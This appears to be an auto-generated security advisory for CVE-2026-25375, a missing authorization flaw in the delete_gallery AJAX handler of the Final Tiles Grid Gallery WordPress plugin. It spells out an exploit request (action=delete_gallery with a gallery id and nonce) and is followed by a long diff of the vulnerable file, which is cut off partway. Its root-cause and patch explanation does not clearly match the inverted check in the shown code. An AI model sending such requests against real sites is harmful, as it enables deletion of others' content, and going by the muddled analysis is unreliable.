Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25375: Image Photo Gallery Final Tiles Grid <= 3.6.10 – Missing Authorization (final-tiles-grid-gallery-lite)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.6.10
Patched Version 3.6.11
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25375:
The Image Photo Gallery Final Tiles Grid WordPress plugin version 3.6.10 and earlier contains a missing authorization vulnerability. This flaw allows authenticated attackers with contributor-level permissions or higher to perform unauthorized gallery deletion actions. The vulnerability resides in the plugin’s AJAX handler for the delete_gallery function.

Root Cause:
The vulnerability occurs because the delete_gallery function in final-tiles-grid-gallery-lite/FinalTilesGalleryLite.php lacks proper capability checks for the current user. The function only verifies nonce validity and gallery ID presence before proceeding with deletion. While there is a user permission check, it only triggers when the user lacks ‘delete_others_posts’ capability, and even then only performs a secondary ownership check via FinalTilesDB::canUserEdit(). This insufficient authorization model allows users with contributor permissions (who typically cannot delete others’ posts) to delete galleries they do not own.

Exploitation:
Attackers exploit this vulnerability by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘delete_gallery’. The request must include a valid nonce (obtainable by authenticated users) and the target gallery ID. The payload structure is: action=delete_gallery&id={target_gallery_id}&FinalTiles_gallery={valid_nonce}. Contributor-level authenticated attackers can use this endpoint to delete any gallery, regardless of ownership.

Patch Analysis:
The patch adds a comprehensive capability check before the ownership verification. It introduces a new condition that requires users to have either ‘delete_others_posts’ capability (administrator/editor level) OR pass the ownership check via FinalTilesDB::canUserEdit(). The critical addition is the explicit capability requirement: if (!current_user_can(‘delete_others_posts’)) { if (!FinalTilesDB::getInstance()->canUserEdit($gallery_id)) { wp_send_json_error(…); } }. This ensures only users with appropriate privileges can delete galleries they do not own.

Impact:
Successful exploitation allows authenticated attackers with contributor-level access to delete arbitrary galleries created by other users. This results in data loss, gallery unavailability, and potential website content disruption. The vulnerability does not enable privilege escalation beyond the gallery deletion capability, but it violates the principle of least privilege by allowing users to delete content they should not control.

Differential between vulnerable and patched code

Code Diff
--- a/final-tiles-grid-gallery-lite/FinalTilesGalleryLite.php
+++ b/final-tiles-grid-gallery-lite/FinalTilesGalleryLite.php
@@ -1,1522 +1,1545 @@
-<?php
-
-/**
- * Plugin Name:              Final Tiles Grid Gallery - Image Gallery
- * Description:              WordPress Plugin for creating responsive image galleries.
- * Version:                  3.6.10
- * Author:                   WPChill
- * Author URI:               https://wpchill.com
- * Tested up to:             6.9
- * Requires:                 5.2 or higher
- * License:                  GPLv3 or later
- * License URI:              http://www.gnu.org/licenses/gpl-3.0.html
- * Requires PHP:             5.6
- * Text Domain:              final-tiles-grid-gallery-lite
- * Domain Path:              /languages
- *
- * Copyright 2015-2019       GreenTreeLabs     diego@greentreelabs.net
- * Copyright 2019-2020       MachoThemes       office@machothemes.com
- * SVN commit with proof of ownership transfer: https://plugins.trac.wordpress.org/changeset/2163481/
- * NOTE: MachoThemes took ownership of this plugin on: 09/26/2019 08:49:37 AM as can be seen from the above SVN commit.
- * Copyright 2020            WPChill            heyyy@wpchill.com
- *
- * Original Plugin URI:      https://greentreelabs.net/final-tiles-gallery-lite/
- * Original Author URI:      https://greentreelabs.net
- * Original Author:          https://profiles.wordpress.org/greentreealbs/
- *
- */
-define( 'FTGVERSION', '3.6.10' );
-// Create a helper function for easy SDK access.
-if ( !function_exists( 'ftg_fs' ) ) {
-    // Create a helper function for easy SDK access.
-    function ftg_fs() {
-        global $ftg_fs;
-        if ( !isset( $ftg_fs ) ) {
-            // Activate multisite network integration.
-            if ( !defined( 'WP_FS__PRODUCT_1002_MULTISITE' ) ) {
-                define( 'WP_FS__PRODUCT_1002_MULTISITE', true );
-            }
-            // Include Freemius SDK.
-            require_once __DIR__ . '/freemius/start.php';
-            $ftg_fs = fs_dynamic_init( array(
-                'id'              => '1002',
-                'slug'            => 'final-tiles-grid-gallery-lite',
-                'type'            => 'plugin',
-                'public_key'      => 'pk_d0e075b84d491d510a1d0a21087af',
-                'is_premium'      => false,
-                'has_addons'      => false,
-                'has_paid_plans'  => true,
-                'trial'           => array(
-                    'days'               => 14,
-                    'is_require_payment' => true,
-                ),
-                'has_affiliation' => 'all',
-                'menu'            => array(
-                    'slug' => 'ftg-lite-gallery-admin',
-                ),
-                'is_live'         => true,
-            ) );
-        }
-        return $ftg_fs;
-    }
-
-    // Init Freemius.
-    ftg_fs();
-    // Signal that SDK was initiated.
-    do_action( 'ftg_fs_loaded' );
-}
-function activate_finaltilesgallery() {
-    global $wpdb;
-    include_once 'lib/install-db.php';
-    FinalTiles_Gallery::define_db_tables();
-    FinalTilesdb::updateConfiguration();
-    if ( is_multisite() ) {
-        foreach ( $wpdb->get_col( "SELECT blog_id FROM {$wpdb->blogs}" ) as $blog_id ) {
-            switch_to_blog( $blog_id );
-            install_db();
-            restore_current_blog();
-        }
-    } else {
-        install_db();
-    }
-}
-
-define( 'FTG_PLAN', 'free' );
-if ( !class_exists( 'FinalTiles_Gallery' ) ) {
-    class FinalTiles_Gallery {
-        private $plugin_name = '';
-
-        private $FinalTilesdb = '';
-
-        private $defaultValues = array(
-            'aClass'                              => '',
-            'afterGalleryText'                    => '',
-            'allFilterLabel'                      => 'All',
-            'ajaxLoading'                         => 'F',
-            'backgroundColor'                     => 'transparent',
-            'beforeGalleryText'                   => '',
-            'blank'                               => 'F',
-            'borderColor'                         => 'transparent',
-            'borderRadius'                        => 0,
-            'borderSize'                          => 0,
-            'captionBackgroundColor'              => '#000000',
-            'captionBehavior'                     => 'none',
-            'captionColor'                        => '#ffffff',
-            'captionCustomFields'                 => '',
-            'captionEasing'                       => 'linear',
-            'captionEffect'                       => 'slide-from-bottom',
-            'captionEffectDuration'               => 250,
-            'captionEmpty'                        => 'hide',
-            'captionFontSize'                     => 12,
-            'captionFrame'                        => 'F',
-            'captionFrameColor'                   => '#ffffff',
-            'captionHorizontalAlignment'          => 'center',
-            'captionIcon'                         => 'zoom',
-            'captionIconColor'                    => '#ffffff',
-            'captionIconSize'                     => 12,
-            'captionMobileBehavior'               => 'desktop',
-            'captionOpacity'                      => 80,
-            'captionPosition'                     => 'inside',
-            'captionVerticalAlignment'            => 'middle',
-            'categoriesAsFilters'                 => 'F',
-            'columns'                             => 4,
-            'columnsPhoneLandscape'               => 3,
-            'columnsPhonePortrait'                => 2,
-            'columnsTabletLandscape'              => 4,
-            'columnsTabletPortrait'               => 3,
-            'compressHTML'                        => 'T',
-            'customCaptionIcon'                   => '',
-            'defaultFilter'                       => '',
-            'defaultSize'                         => 'medium',
-            'delay'                               => 0,
-            'disableLightboxGroups'               => 'F',
-            'enableFacebook'                      => 'F',
-            'enablePinterest'                     => 'F',
-            'enableTwitter'                       => 'F',
-            'enlargeImages'                       => 'T',
-            'filterClick'                         => 'F',
-            'filters'                             => '',
-            'gridCellSize'                        => 25,
-            'gridCellSizeDisabledBelow'           => 800,
-            'hoverDuration'                       => 250,
-            'hoverIconRotation'                   => 'F',
-            'hoverRotation'                       => 0,
-            'hoverZoom'                           => 100,
-            'imageSizeFactor'                     => 30,
-            'imageSizeFactorCustom'               => '',
-            'imageSizeFactorPhoneLandscape'       => 30,
-            'imageSizeFactorPhonePortrait'        => 20,
-            'imageSizeFactorTabletLandscape'      => 30,
-            'imageSizeFactorTabletPortrait'       => 20,
-            'imagesOrder'                         => 'user',
-            'layout'                              => 'final',
-            'lazyLoad'                            => false,
-            'lightbox'                            => 'lightbox2',
-            'lightboxImageSize'                   => 'large',
-            'lightboxOptions'                     => '',
-            'lightboxOptionsMobile'               => '',
-            'loadedDuration'                      => 500,
-            'loadedEasing'                        => 'ease-out',
-            'loadedHSlide'                        => 0,
-            'loadedRotateY'                       => 0,
-            'loadedRotateX'                       => 0,
-            'loadedScaleY'                        => 100,
-            'loadedScaleX'                        => 100,
-            'loadedVSlide'                        => 0,
-            'loadingBarBackgroundColor'           => '#fff',
-            'loadingBarColor'                     => '#666',
-            'loadMethod'                          => 'sequential',
-            'margin'                              => 10,
-            'max_posts'                           => 0,
-            'minTileWidth'                        => '250',
-            'mobileLightbox'                      => 'lightbox2',
-            'post_types'                          => '',
-            'post_taxonomies'                     => '',
-            'recentPostsCaption'                  => 'title',
-            'recentPostsCaptionAutoExcerptLength' => 20,
-            'rel'                                 => '',
-            'reverseOrder'                        => false,
-            'script'                              => '',
-            'shadowColor'                         => '#cccccc',
-            'shadowSize'                          => 0,
-            'socialIconColor'                     => '#ffffff',
-            'socialIconPosition'                  => 'bottom',
-            'socialIconStyle'                     => 'none',
-            'source'                              => 'images',
-            'style'                               => '',
-            'support'                             => 'F',
-            'supportText'                         => 'Powered by Final Tiles Grid Gallery',
-            'taxonomyOperator'                    => 'OR',
-            'tilesPerPage'                        => 0,
-            'titleFontSize'                       => 14,
-            'width'                               => '100%',
-            'wp_field_caption'                    => 'description',
-            'wp_field_title'                      => 'title',
-        );
-
-        //Constructor
-        public function __construct() {
-            $this->plugin_name = plugin_basename( __FILE__ );
-            $this->define_constants();
-            $this->define_db_tables();
-            $this->FinalTilesdb = $this->create_db_conn();
-            add_action( 'init', array($this, 'setupFields') );
-            add_filter( 'widget_text', 'do_shortcode' );
-            add_action( 'init', array($this, 'create_textdomain') );
-            add_action( 'wp_enqueue_scripts', array($this, 'add_gallery_scripts') );
-            //add_action( 'admin_init', array($this,'gallery_admin_init') );
-            add_action( 'admin_menu', array($this, 'add_gallery_admin_menu') );
-            add_action( 'init', array($this, 'register_gutenberg_block') );
-            add_shortcode( 'FinalTilesGallery', array($this, 'gallery_shortcode_handler') );
-            add_action( 'wp_ajax_save_gallery', array($this, 'save_gallery') );
-            add_action( 'wp_ajax_add_new_gallery', array($this, 'add_new_gallery') );
-            add_action( 'wp_ajax_delete_gallery', array($this, 'delete_gallery') );
-            add_action( 'wp_ajax_clone_gallery', array($this, 'clone_gallery') );
-            add_action( 'wp_ajax_save_image', array($this, 'save_image') );
-            add_action( 'wp_ajax_add_image', array($this, 'add_image') );
-            add_action( 'wp_ajax_save_video', array($this, 'save_video') );
-            add_action( 'wp_ajax_sort_images', array($this, 'sort_images') );
-            add_action( 'wp_ajax_delete_image', array($this, 'delete_image') );
-            add_action( 'wp_ajax_assign_filters', array($this, 'assign_filters') );
-            add_action( 'wp_ajax_assign_group', array($this, 'assign_group') );
-            add_action( 'wp_ajax_toggle_visibility', array($this, 'toggle_visibility') );
-            add_action( 'wp_ajax_refresh_gallery', array($this, 'refresh_gallery') );
-            add_action( 'wp_ajax_get_gallery_configuration', array($this, 'get_configuration') );
-            add_action( 'wp_ajax_update_gallery_configuration', array($this, 'update_configuration') );
-            add_action( 'wp_ajax_get_image_size_url', array($this, 'get_image_size_url') );
-            add_filter( 'mce_buttons', array($this, 'editor_button') );
-            add_filter( 'mce_external_plugins', array($this, 'register_editor_plugin') );
-            add_action( 'wp_ajax_ftg_shortcode_editor', array($this, 'ftg_shortcode_editor') );
-            add_filter(
-                'plugin_row_meta',
-                array($this, 'register_links'),
-                10,
-                2
-            );
-            add_action( 'wp_ajax_load_chunk', array($this, 'load_chunk') );
-            add_action( 'wp_ajax_nopriv_load_chunk', array($this, 'load_chunk') );
-            if ( ftg_fs()->is_not_paying() ) {
-                add_action( 'admin_notices', array($this, 'review') );
-                add_action( 'wp_ajax_ftg_dismiss_review', array($this, 'dismiss_review') );
-                add_filter(
-                    'admin_footer_text',
-                    array($this, 'admin_footer'),
-                    1,
-                    2
-                );
-            }
-            add_action( 'init', array($this, 'resetFields'), 99 );
-        }
-
-        /**
-         * Register Gutenberg Block
-         */
-        public function register_gutenberg_block() {
-            if ( !function_exists( 'register_block_type' ) ) {
-                // Gutenberg is not active.
-                return;
-            }
-            // Register block js script
-            wp_register_script( 'ftg-gallery-block', plugins_url( 'scripts/gutenberg_block.js', __FILE__ ), array(
-                'wp-blocks',
-                'wp-i18n',
-                'wp-element',
-                'wp-editor',
-                'wp-components'
-            ) );
-            // Editor CSS
-            wp_register_style( 'ftg-gallery-block-editor', plugins_url( 'admin/css/gutenberg_block.css', __FILE__ ), array('wp-edit-blocks') );
-            // Register block
-            register_block_type( 'ftg/gallery', array(
-                'editor_style'  => 'ftg-gallery-block-editor',
-                'editor_script' => 'ftg-gallery-block',
-            ) );
-            // Set block translation
-            wp_set_script_translations( 'FinalTiles-gallery', 'final-tiles-gallery', dirname( plugin_basename( __FILE__ ) ) . '/lib/languages/' );
-            $galls = array(array(
-                'value' => 0,
-                'label' => esc_html__( 'Select gallery', 'final-tiles-grid-gallery-lite' ),
-            ));
-            $galleries = $this->FinalTilesdb->getGalleries();
-            if ( $galleries ) {
-                foreach ( $galleries as $g ) {
-                    $galls[] = array(
-                        'value' => $g->Id,
-                        'label' => $g->name,
-                    );
-                }
-            }
-            // send list of galleries to block
-            wp_localize_script( 'ftg-gallery-block', 'ftg_galleries', array(
-                'items'              => $galls,
-                'add_new_galler_url' => admin_url( 'admin.php?page=ftg-add-gallery' ),
-            ) );
-        }
-
-        public function review() {
-            // Verify that we can do a check for reviews.
-            $review = get_option( 'ftg_review' );
-            $time = time();
-            $load = false;
-            $there_was_review = false;
-            if ( !$review ) {
-                $review = array(
-                    'time'      => $time,
-                    'dismissed' => false,
-                );
-                $load = true;
-                $there_was_review = false;
-            } else {
-                // Check if it has been dismissed or not.
-                if ( isset( $review['dismissed'] ) && !$review['dismissed'] && (isset( $review['time'] ) && $review['time'] + DAY_IN_SECONDS <= $time) ) {
-                    $load = true;
-                }
-            }
-            // If we cannot load, return early.
-            if ( !$load ) {
-                return;
-            }
-            // Update the review option now.
-            update_option( 'ftg_review', $review );
-            // Run through optins on the site to see if any have been loaded for more than a week.
-            $valid = false;
-            $galleries = $this->FinalTilesdb->getGalleries();
-            if ( !$galleries ) {
-                return;
-            }
-            $with_date = false;
-            foreach ( $galleries as $gallery ) {
-                if ( !isset( $gallery->date ) ) {
-                    continue;
-                }
-                $with_date = true;
-                $data = $gallery->date;
-                // Check the creation date of the local optin. It must be at least one week after.
-                $created = ( isset( $data ) ? strtotime( $data ) + 7 * DAY_IN_SECONDS : false );
-                if ( !$created ) {
-                    continue;
-                }
-                if ( $created <= $time ) {
-                    $valid = true;
-                    break;
-                }
-            }
-            if ( !$with_date && count( $galleries ) > 0 && !$there_was_review ) {
-                $valid = true;
-            }
-            // If we don't have a valid option yet, return.
-            if ( !$valid ) {
-                return;
-            }
-            // We have a candidate! Output a review message.
-            ?>
-			<div class="notice notice-info is-dismissible ftg-review-notice">
-				<p><?php
-            esc_html_e( 'Hey, I noticed you created a photo gallery with Final Tiles - that’s awesome! Would you mind give it a 5-star rating on WordPress to help us spread the word and boost our motivation for new featrues?', 'final-tiles-grid-gallery-lite' );
-            ?></p>
-				<p><strong><?php
-            esc_html_e( 'MachoThemes', 'final-tiles-grid-gallery-lite' );
-            ?></strong></p>
-				<p>
-					<a href="https://wordpress.org/support/plugin/final-tiles-grid-gallery-lite/reviews/?filter=5#new-post" class="ftg-dismiss-review-notice ftg-review-out" target="_blank" rel="noopener"><?php
-            esc_html_e( 'Ok, you deserve it', 'final-tiles-grid-gallery-lite' );
-            ?></a><br>
-					<a href="#" class="ftg-dismiss-review-notice" rel="noopener"><?php
-            esc_html_e( 'Nope, maybe later', 'final-tiles-grid-gallery-lite' );
-            ?></a><br>
-					<a href="#" class="ftg-dismiss-review-notice" rel="noopener"><?php
-            esc_html_e( 'I already did', 'final-tiles-grid-gallery-lite' );
-            ?></a><br>
-				</p>
-			</div>
-			<script type="text/javascript">
-				jQuery(document).ready( function($) {
-					$(document).on('click', '.ftg-dismiss-review-notice, .ftg-review-notice button', function( event ) {
-						if ( ! $(this).hasClass('ftg-review-out') ) {
-							event.preventDefault();
-						}
-
-						$.post( ajaxurl, {
-							action: 'ftg_dismiss_review'
-						});
-
-						$('.ftg-review-notice').remove();
-					});
-				});
-			</script>
-			<?php
-        }
-
-        public function dismiss_review() {
-            $review = get_option( 'ftg_review' );
-            if ( !$review ) {
-                $review = array();
-            }
-            $review['time'] = time();
-            $review['dismissed'] = true;
-            update_option( 'ftg_review', $review );
-            die;
-        }
-
-        public function admin_footer( $text ) {
-            global $current_screen;
-            if ( !empty( $current_screen->id ) && strpos( $current_screen->id, 'ftg' ) !== false ) {
-                $url = esc_url( 'https://wordpress.org/support/plugin/final-tiles-grid-gallery-lite/reviews/?filter=5#new-post' );
-                $text = sprintf( __( 'Please rate <strong>Final Tiles Gallery</strong> <a href="%1$s" target="_blank">★★★★★</a> on <a href="%2$s" target="_blank">WordPress.org</a> to help us spread the word. Thank you from the Final Tiles Gallery team!', 'final-tiles-grid-gallery-lite' ), $url, $url );
-            }
-            return $text;
-        }
-
-        public function resetFields() {
-            $keys = array(
-                'name',
-                'hiddenFor',
-                'type',
-                'description',
-                'default',
-                'min',
-                'max',
-                'mu',
-                'excludeFrom'
-            );
-            foreach ( $this->fields as $tab_name => $tab ) {
-                foreach ( $tab['fields'] as $key => $field ) {
-                    //print_r($field);
-                    foreach ( $keys as $kk ) {
-                        if ( !array_key_exists( $kk, $field ) ) {
-                            $this->fields[$tab_name]['fields'][$key][$kk] = '';
-                        }
-                    }
-                }
-            }
-            //print_r($this->fields);
-        }
-
-        public function register_links( $links, $file ) {
-            $base = plugin_basename( __FILE__ );
-            if ( $file == $base ) {
-                $links[] = '<a href="admin.php?page=ftg-lite-gallery-admin" title="Final Tiles Grid Gallery Dashboard">Dashboard</a>';
-                $links[] = '<a href="https://www.machothemes.com/" title="MachoThemes website">MachoThemes</a>';
-                $links[] = '<a href="https://twitter.com/machothemes" title="@MachoThemes on Twitter">Twitter</a>';
-                $links[] = '<a href="https://www.facebook.com/machothemes" title="MachoThemes on Facebook">Facebook</a>';
-            }
-            return $links;
-        }
-
-        //Define textdomain
-        public function create_textdomain() {
-            $plugin_dir = basename( __DIR__ );
-            load_plugin_textdomain( 'final-tiles-grid-gallery-lite', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
-            foreach ( $this->fields as $s => $section ) {
-                foreach ( $section['fields'] as $f => $field ) {
-                    $this->fields[$s]['fields'][$f]['description'] = ( isset( $this->fields[$s]['fields'][$f]['description'] ) ? esc_html__( $this->fields[$s]['fields'][$f]['description'], 'final-tiles-grid-gallery-lite' ) : '' );
-                }
-            }
-        }
-
-        //Define constants
-        public function define_constants() {
-            if ( !defined( 'FINALTILESGALLERY_PLUGIN_BASENAME' ) ) {
-                define( 'FINALTILESGALLERY_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
-            }
-            if ( !defined( 'FINALTILESGALLERY_PLUGIN_NAME' ) ) {
-                define( 'FINALTILESGALLERY_PLUGIN_NAME', trim( dirname( FINALTILESGALLERY_PLUGIN_BASENAME ), '/' ) );
-            }
-            if ( !defined( 'FINALTILESGALLERY_PLUGIN_DIR' ) ) {
-                define( 'FINALTILESGALLERY_PLUGIN_DIR', WP_PLUGIN_DIR . '/' . FINALTILESGALLERY_PLUGIN_NAME );
-            }
-        }
-
-        //Define DB tables
-        public static function define_db_tables() {
-            global $wpdb;
-            $wpdb->FinalTilesGalleries = $wpdb->prefix . 'FinalTiles_gallery';
-            $wpdb->FinalTilesImages = $wpdb->prefix . 'FinalTiles_gallery_images';
-        }
-
-        public function create_db_conn() {
-            require 'lib/db-class.php';
-            $FinalTilesdb = FinalTilesDB::getInstance();
-            return $FinalTilesdb;
-        }
-
-        public function editor_button( $buttons ) {
-            array_push( $buttons, 'separator', 'ftg_shortcode_editor' );
-            return $buttons;
-        }
-
-        public function register_editor_plugin( $plugin_array ) {
-            $plugin_array['ftg_shortcode_editor'] = plugins_url( '/admin/scripts/editor-plugin.js', __FILE__ );
-            return $plugin_array;
-        }
-
-        public function ftg_shortcode_editor() {
-            $css_path = plugins_url( 'assets/css/admin.css', __FILE__ );
-            $admin_url = admin_url();
-            $galleries = $this->FinalTilesdb->getGalleries();
-            //load all galleries
-            include 'admin/include/tinymce-galleries.php';
-            wp_die();
-        }
-
-        public function attachment_fields_to_edit( $form, $post ) {
-            $form['ftg_link'] = array(
-                'label' => 'Link <small>FTG</small>',
-                'input' => 'text',
-                'value' => get_post_meta( $post->ID, '_ftg_link', true ),
-                'helps' => '',
-            );
-            $form['ftg_target'] = array(
-                'label' => '_blank <small>FTG</small>',
-                'input' => 'html',
-                'html'  => "<input type='checkbox' name='attachments[{$post->ID}][ftg_target]' id='attachments[{$post->ID}][ftg_target]' value='_mblank' " . (( get_post_meta( $post->ID, '_ftg_target', true ) == '_mblank' ? 'checked' : '' )) . ' />',
-            );
-            return $form;
-        }
-
-        public function attachment_fields_to_save( $post, $attachment ) {
-            if ( isset( $attachment['ftg_link'] ) ) {
-                update_post_meta( $post['ID'], '_ftg_link', esc_url_raw( $attachment['ftg_link'] ) );
-            }
-            if ( isset( $attachment['ftg_target'] ) ) {
-                update_post_meta( $post['ID'], '_ftg_target', sanitize_text_field( $attachment['ftg_target'] ) );
-            }
-            return $post;
-        }
-
-        //Delete gallery
-        public function delete_gallery() {
-            if ( !check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' ) ) {
-                wp_send_json_error( __( 'Invalid nonce', 'final-tiles-grid-gallery-lite' ) );
-                die;
-            }
-            if ( empty( $_POST['id'] ) ) {
-                wp_send_json_error( __( 'Missing gallery ID.', 'final-tiles-grid-gallery-lite' ) );
-                die;
-            }
-            $gallery_id = intval( $_POST['id'] );
-            if ( !current_user_can( 'delete_others_posts' ) ) {
-                if ( FinalTilesDB::getInstance()->canUserEdit( $gallery_id ) ) {
-                    wp_send_json_error( __( 'You are not allowed to delete this gallery.', 'final-tiles-grid-gallery-lite' ) );
-                    die;
-                }
-            }
-            $this->FinalTilesdb->deleteGallery( $gallery_id );
-            wp_send_json_success( __( 'The gallery has been deleted.', 'final-tiles-grid-gallery-lite' ) );
-            die;
-        }
-
-        public function update_configuration() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
-            if ( !$this->FinalTilesdb->canUserEdit( $id ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $config = ( isset( $_POST['config'] ) ? wp_unslash( $_POST['config'] ) : '' );
-            // phpcs:ignore
-            if ( !empty( $config ) ) {
-                $decoded = json_decode( $config );
-                if ( json_last_error() !== JSON_ERROR_NONE ) {
-                    wp_die( 'Invalid JSON configuration data. Error: ' . json_last_error_msg() );
-                }
-            }
-            $this->FinalTilesdb->update_config( $id, $config );
-            exit;
-        }
-
-        public function get_configuration() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
-            if ( !$this->FinalTilesdb->canUserEdit( $id ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $gallery = $this->FinalTilesdb->getGalleryConfig( $id );
-            echo stripslashes( $gallery );
-            // phpcs:ignore
-            die;
-        }
-
-        public function get_image_size_url() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            if ( !current_user_can( 'edit_posts' ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $id = ( isset( $_POST['id'] ) ? absint( $_POST['id'] ) : 0 );
-            $size = ( isset( $_POST['size'] ) ? sanitize_text_field( wp_unslash( $_POST['size'] ) ) : 'thumbnail' );
-            echo esc_url( wp_get_attachment_image_url( $id, $size, false ) );
-            exit;
-        }
-
-        //Clone gallery
-        public function clone_gallery() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            if ( !current_user_can( 'edit_posts' ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $sourceId = ( isset( $_POST['id'] ) ? intval( $_POST['id'] ) : 0 );
-            $g = $this->FinalTilesdb->getGalleryById( $sourceId, true );
-            $g['name'] .= ' (copy)';
-            $this->FinalTilesdb->addGallery( $g );
-            $id = $this->FinalTilesdb->getNewGalleryId();
-            $images = $this->FinalTilesdb->getImagesByGalleryId( $sourceId, 0, 0 );
-            foreach ( $images as &$image ) {
-                $image->Id = null;
-                $image->gid = $id;
-            }
-            $this->FinalTilesdb->addImages( $id, $images );
-            return array();
-        }
-
-        //Add gallery scripts
-        public function add_gallery_scripts() {
-            wp_enqueue_script( 'jquery' );
-            wp_register_script(
-                'finalTilesGallery',
-                plugins_url( 'scripts/jquery.finalTilesGallery.js', __FILE__ ),
-                array('jquery'),
-                FTGVERSION,
-                true
-            );
-            wp_enqueue_script( 'finalTilesGallery' );
-            wp_register_style(
-                'finalTilesGallery_stylesheet',
-                plugins_url( 'scripts/ftg.css', __FILE__ ),
-                array(),
-                FTGVERSION
-            );
-            wp_enqueue_style( 'finalTilesGallery_stylesheet' );
-            wp_register_script( 'lightbox2_script', plugins_url( 'lightbox/lightbox2/js/script.js', __FILE__ ), array('jquery') );
-            wp_register_style( 'lightbox2_stylesheet', plugins_url( 'lightbox/lightbox2/css/style.css', __FILE__ ) );
-            wp_register_style( 'fontawesome_stylesheet', plugins_url( 'fonts/font-awesome/css/font-awesome.min.css', __FILE__ ) );
-            wp_enqueue_style( 'fontawesome_stylesheet' );
-        }
-
-        //Admin Section - register scripts and styles
-        public function gallery_admin_init() {
-            if ( isset( $_GET['page'] ) && 'ftg-lite-gallery-admin' === $_GET['page'] && isset( $_GET['id'] ) && !FinalTilesDB::getInstance()->canUserEdit( absint( $_GET['id'] ) ) ) {
-                wp_die( esc_html__( 'Sorry, you are not allowed to edit this gallery.', 'final-tiles-grid-gallery-lite' ) );
-            }
-            if ( function_exists( 'wp_enqueue_media' ) ) {
-                wp_enqueue_media();
-            }
-            $ftg_db_version = '20190518';
-            $installed_ver = get_option( 'FinalTiles_gallery_db_version' );
-            if ( !$installed_ver || empty( $installed_ver ) ) {
-                update_option( 'FinalTiles_gallery_db_version', $ftg_db_version );
-            }
-            if ( $installed_ver != $ftg_db_version ) {
-                activate_finaltilesgallery();
-                update_option( 'FinalTiles_gallery_db_version', $ftg_db_version );
-            }
-            function ftg_get_image_sizes() {
-                global $_wp_additional_image_sizes;
-                $sizes = array();
-                foreach ( get_intermediate_image_sizes() as $_size ) {
-                    if ( in_array( $_size, array(
-                        'thumbnail',
-                        'medium',
-                        'medium_large',
-                        'large'
-                    ) ) ) {
-                        $sizes[$_size]['width'] = get_option( "{$_size}_size_w" );
-                        $sizes[$_size]['height'] = get_option( "{$_size}_size_h" );
-                        $sizes[$_size]['crop'] = (bool) get_option( "{$_size}_crop" );
-                    } elseif ( isset( $_wp_additional_image_sizes[$_size] ) ) {
-                        $sizes[$_size] = array(
-                            'width'  => $_wp_additional_image_sizes[$_size]['width'],
-                            'height' => $_wp_additional_image_sizes[$_size]['height'],
-                            'crop'   => $_wp_additional_image_sizes[$_size]['crop'],
-                        );
-                    }
-                }
-                return $sizes;
-            }
-
-            foreach ( ftg_get_image_sizes() as $name => $size ) {
-                $this->fields['Links & Lightbox']['fields']['lightboxImageSize']['values']['Size'][] = $name . '|' . $name . ' (' . $size['width'] . 'x' . $size['height'] . (( $size['crop'] ? ' cropped)' : ')' ));
-            }
-            $this->fields['Links & Lightbox']['fields']['lightboxImageSize']['values']['Size'][] = 'full|Original (full)';
-            wp_enqueue_script( 'jquery' );
-            wp_enqueue_script( 'jquery-ui-dialog' );
-            wp_enqueue_script( 'jquery-ui-sortable' );
-            wp_enqueue_script( 'wp-color-picker' );
-            wp_enqueue_style( 'wp-color-picker' );
-            wp_enqueue_script( 'media-upload' );
-            wp_enqueue_script( 'thickbox' );
-            wp_register_style( 'roboto-fonts', plugins_url( 'fonts/fonts.css', __FILE__ ) );
-            wp_enqueue_style( 'roboto-fonts' );
-            wp_register_style( 'final-tiles-gallery-admin', plugins_url( 'admin/css/style.css', __FILE__ ), array('colors') );
-            wp_enqueue_style( 'final-tiles-gallery-admin' );
-            wp_register_script( 'materialize', plugins_url( 'admin/scripts/materialize.min.js', __FILE__ ), array('jquery') );
-            wp_enqueue_script( 'materialize' );
-            wp_register_script( 'final-tiles-gallery', plugins_url( 'admin/scripts/final-tiles-gallery-admin.js', __FILE__ ), array(
-                'jquery',
-                'media-upload',
-                'thickbox',
-                'materialize'
-            ) );
-            wp_enqueue_script( 'final-tiles-gallery' );
-            wp_enqueue_style( 'thickbox' );
-            wp_register_style( 'fontawesome_stylesheet', plugins_url( 'fonts/font-awesome/css/font-awesome.min.css', __FILE__ ) );
-            wp_enqueue_style( 'fontawesome_stylesheet' );
-        }
-
-        //Create Admin Menu
-        public function add_gallery_admin_menu() {
-            $overview = add_menu_page(
-                'Final Tiles Gallery',
-                'Final Tiles Gallery',
-                'edit_posts',
-                'ftg-lite-gallery-admin',
-                array($this, 'add_overview'),
-                plugins_url( 'admin/icon.png', __FILE__ )
-            );
-            $add_gallery = add_submenu_page(
-                'ftg-lite-gallery-admin',
-                esc_html__( 'FinalTiles Gallery >> Add Gallery', 'final-tiles-grid-gallery-lite' ),
-                esc_html__( 'Add Gallery', 'final-tiles-grid-gallery-lite' ),
-                'edit_posts',
-                'ftg-add-gallery',
-                array($this, 'add_gallery')
-            );
-            add_action( 'load-' . $overview, array($this, 'gallery_admin_init') );
-            add_action( 'load-' . $add_gallery, array($this, 'gallery_admin_init') );
-            /*if(! class_exists("PhotoBlocks"))
-            			{
-            				$photoblocks = add_submenu_page('ftg-lite-gallery-admin', __('FinalTiles Gallery >> PhotoBlocks', 'FinalTiles-gallery'), __('PhotoBlocks', 'FinalTiles-gallery'), 'edit_posts', 'ftg-photoblocks', array($this, 'photoblocks'));
-            				add_action('load-' . $photoblocks, array($this, 'gallery_admin_init'));
-            			}
-
-            			if(! class_exists("EverlightBox"))
-            			{
